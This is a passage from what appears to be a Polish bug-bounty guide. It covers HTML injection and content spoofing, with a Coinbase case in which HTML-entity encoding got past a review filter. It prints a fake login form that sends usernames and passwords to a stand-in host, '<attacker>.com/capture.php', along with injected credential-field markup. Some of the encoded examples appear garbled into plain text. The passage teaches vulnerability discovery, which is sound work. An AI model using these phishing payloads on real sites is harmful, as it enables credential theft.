żądania POST; nie dotyczy to jednak żądań GET. Z tego powodu miej na uwadze wszelkie zapytania GET, które zmieniają dane po stronie serwera (takie jak odłączenie konta Twitter). W dodatku, mimo że nie dodałem przykładu takiego działania, możesz próbować zmieniać wartość tokenu CSRF bądź usuwać go całkowicie, aby upewnić się, że serwer weryfikuje jego obecność.
5.
HTML INJECTION I FAŁSZOWANIE TREŚCI
HTML injection i content spoofing (fałszowanie treści) są atakami, które pozwalają złośliwemu użytkownikowi na wstrzyknięcie treści do strony internetowej. Atakujący mogą dodać własne elementy HTML, na przykład tagi <form>, które udają pierwotny ekran logowania, aby nabrać osoby na podanie wrażliwych danych do złośliwej strony.
Ponieważ te rodzaje ataków opierają się na oszustwie ludzi (praktyka określana jako inżynieria społeczna), programy bug bounty traktują HTML injection i content spoofing jako jedne z mniej wrażliwych podatności w porównaniu z resztą opisanych w tej książce.
Podatność HTML injection następuje, gdy aplikacja pozwala atakującemu wysyłać tagi HTML, zazwyczaj przez jakąś formę parametrów wejściowych lub parametrów URL, które są następnie wyświetlane bezpośrednio na stronie. Przypomina to atak cross-site scripting, z wyjątkiem tego, że w przypadku tamtych mamy możliwość wykonania złośliwego kodu JavaScript, co omówimy w rozdziale 7.
Jeśli atakujący może wstrzyknąć HTML, który witryna prawidłowo renderuje, to jest on w stanie zmienić jej wygląd lub dodać nową zawartość. Technika polegająca na oszukaniu użytkownika przez podanie mu fałszywego formularza określana jest mianem phishingu. W przypadku takich ataków użytkownik podaje dane do formularza, będąc przekonanym, że należy on do pierwotnej wersji strony. Wpisane przez niego informacje zostają jednak przesłane do atakującego.
Na przykład, jeśli strona wyświetla zawartość, którą możesz kontrolować, być może jesteś w stanie dodać znacznik <form> do witryny, prosząc użytkownika, by podał ponownie swój login i hasło, tak jak tutaj:
<input type='text' name='username' value=''>
<input type='password' name='password' value=''>
<input type='submit' value='submit'>
</form>
Kiedy użytkownik prześle ten formularz, informacja zostanie wysłana na stronę atakującego http://<attacker>.com/capture.php przez atrybut action
Content spoofing jest bardzo podobny do HTML injection, z tą różnicą, że atakujący może wstrzyknąć tylko czysty tekst, bez tagów HTML. Takie ograniczenie najczęściej wynika z tego, że witryna opuszcza jakikolwiek kod HTML bądź usuwa tagi HTML przesłane w odpowiedziach HTTP. Mimo że atakujący nie są w stanie formatować strony internetowej przez content spoofing, mają możliwość umieścić na niej wiadomość, która wygląda na prawdziwą. Takie wiadomości mogą nakłonić użytkowników do podjęcia pewnych interakcji, lecz opierają się mocno na inżynierii społecznej. Kolejne przykłady zademonstrują, jak można odkrywać te luki.
Wstrzyknięcie formularza na stronie Coinbase
Poziom trudności: Niski
URL: https://coinbase.com/apps/
Źródło: https://hackerone.com/reports/104543/
Data zgłoszenia: 10 grudnia 2015
Nagroda: 200 $
Niektóre strony używają filtrów w celu pozbycia się tagów HTML, chroniąc stronę przed atakami HTML injection; czasami jednak jesteś w stanie obejść to zabezpieczenie za pomocą encji HTML. W przypadku tej podatności autor zgłoszenia zauważył, że Coinbase dekodował encje HTML podczas wyświetlania tekstu w recenzjach użytkowników. W HTML-u niektóre znaki są zarezerwowane, ponieważ pełnią konkretną funkcję (tak jak nawiasy kątowe < >, które otwierają i zamykają tagi HTML). Zarezerwowane znaki powinny być renderowane przy użyciu ich encji HTML; na przykład znak > powinien być renderowany przez strony jako >, by uniknąć podatności typu injection. Jednakże nawet zwykły znak może zostać wyrenderowany jako zakodowany w HTML-u; na przykład encją litery a jest a.
W przypadku tego błędu, autor zgłaszenia najpierw wprowadził zwykły tekst HTML w pole tekstowe przygotowane do recenzji użytkowników:
<h1>This is a test</h1>
Filtr w serwisie Coinbase pozbywa się języka HTML i wyświetli powyższą wiadomość jako zwykły tekst. Będzie on dokładnie taki sam, z wyjątkiem usuniętych tagów HTML. Co innego jednak, jeśli użytkownik przesłał od razu zakodowaną w HTML-u wiadomość, tak jak tutaj:
<h1>This is a test</h1>
W przypadku takiej wiadomości Coinbase pozostawił tagi, a następnie dekodował cały tekst na HTML, co skutkowało poprawnym renderowaniem tagów <h1> w przesłanej wiadomości:
Używając zakodowanych w HTML-u wartości, autor zgłoszenia zademonstrował, jak mógł wyświetlić pole do wpisania nazwy użytkownika i hasła:
Username:<br><input type="text" name="firstname"><br>Password:<br><input type="password" name="lastname">
Powyższy tekst przetłumaczony do HTML-a wygląda następująco:
Username:<br>
<input type="text" name="firstname">
<br>
Password:<br>
<input type="password" name="lastname">
Renderuje on pola wejściowe dla tekstu, które wyglądają jak miejsce do wprowadzenia nazwy użytkownika i hasła. Złośliwy haker mógł użyć tej podatności w celu wyłudzenia od użytkowników ich danych do logowania, które następnie zostałyby przesłane na stronę przechwytującą. Ta podatność zależy jednak od tego, czy użytkownik da się oszukać, wierząc, że formularz jest prawdziwy. W konsekwencji Coinbase nagrodził hakera niższą wypłatą w porównaniu z podatnościami, które nie wymagają interakcji ze strony użytkownika.
Wnioski
Kiedy testujesz witrynę, sprawdź, w jaki sposób traktuje ona różne źródła wejścia, włączając w to zwykły i zakodowany tekst. Miej na uwadze strony, które przyjmują wartości kodowane w URI, takie jak %2F, a następnie renderują ich dekodowane odpowiedniki, co w tym przypadku dałoby nam
